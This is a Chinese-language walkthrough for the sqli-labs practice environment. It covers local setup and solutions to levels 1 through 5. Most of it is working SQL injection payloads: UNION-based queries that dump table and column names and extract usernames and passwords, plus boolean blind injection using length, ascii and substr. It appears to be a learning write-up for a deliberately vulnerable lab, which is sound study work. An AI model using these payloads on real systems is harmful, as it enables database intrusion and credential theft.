打开根目录找到sql
打开sqli-labs-master在里面中找到sqli-connections并以记事本的方式打开db-creds.inc
打开后将$dbpass=‘’改为$dbpass=‘root’并保存
完成后打开phpstudy,启动Apache和Mysql
接着浏览器打开“http://127.0.0.1/sqli-labs-master/”访问首页
先点击Setup/reset Database for labs使其自动创建数据库,创建表并填充数据后会出现这样的页面
返回上一个页面,点开SQLI-LABS PAGE-1出现这样的页面
这些就是sql的关卡,这里sql-labs的搭建就完成了!
sql-labs 第一关
先进入第一关 输入Less-1/
然后判断是否存在sql注入 输入?id=1
相当于把我输进去的内容带入到数据库里面查询了
输入?id=2
然后判断sql语句是否拼接,看是字符型还是数字型
输入?id=1'
输入?id=1'--+
可以得出结果指定是字符型并且存在sql注入漏洞
联合注入
首先得知道表格有几列,如果报错就算是超过列数,那如果显示正常就是没有超出列数
然后爆出显示位,就是看看表格里面那一列是在页面现实的,可以看到是第二列和第三列里面的数据是显示在页面的
其次要获取当前数据名和版本号,这个就涉及mysql数据库的一些函数
通过结果知道当前数据名是security,版本号是5.7.26
下面是爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
然后是爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
通过上面操作得到了两个字段(username和password)
最后就是得到这两个字段对应的内容
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
sqli-labs 第二关
和第一关一样进行判断
当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
那步骤和我们第一关是差不多的,
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
sqli-labs 第三关
当我们在输入?id=2'的时候看到页面报错信息。
可推断sql语句是单引号字符型且有括号,所以需要闭合单引号且也要考虑括号。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
那通过上面代码构建就可以进行sql注入
就这样像第一关一样搞就行
sqli-labs 第四关
也是根据页面报错信息得知sql语句是双引号字符型且有括号
通过以下代码进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
sqli-labs 第五关
第五关根据页面结果得知是字符型但是和前面四关还是不一样
是因为页面虽然有东西,但是只有对于请求对错出现不一样页面其余的就没有了
那用联合注入就没有用,因为联合注入是需要页面有回显位
如果数据 不显示只有对错页面显示 可以选择布尔盲注
布尔盲注主要用到length(),ascii() ,substr()这三个函数,
首先通过length()函数确定长度再通过另外两个确定具体字符是什么。
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。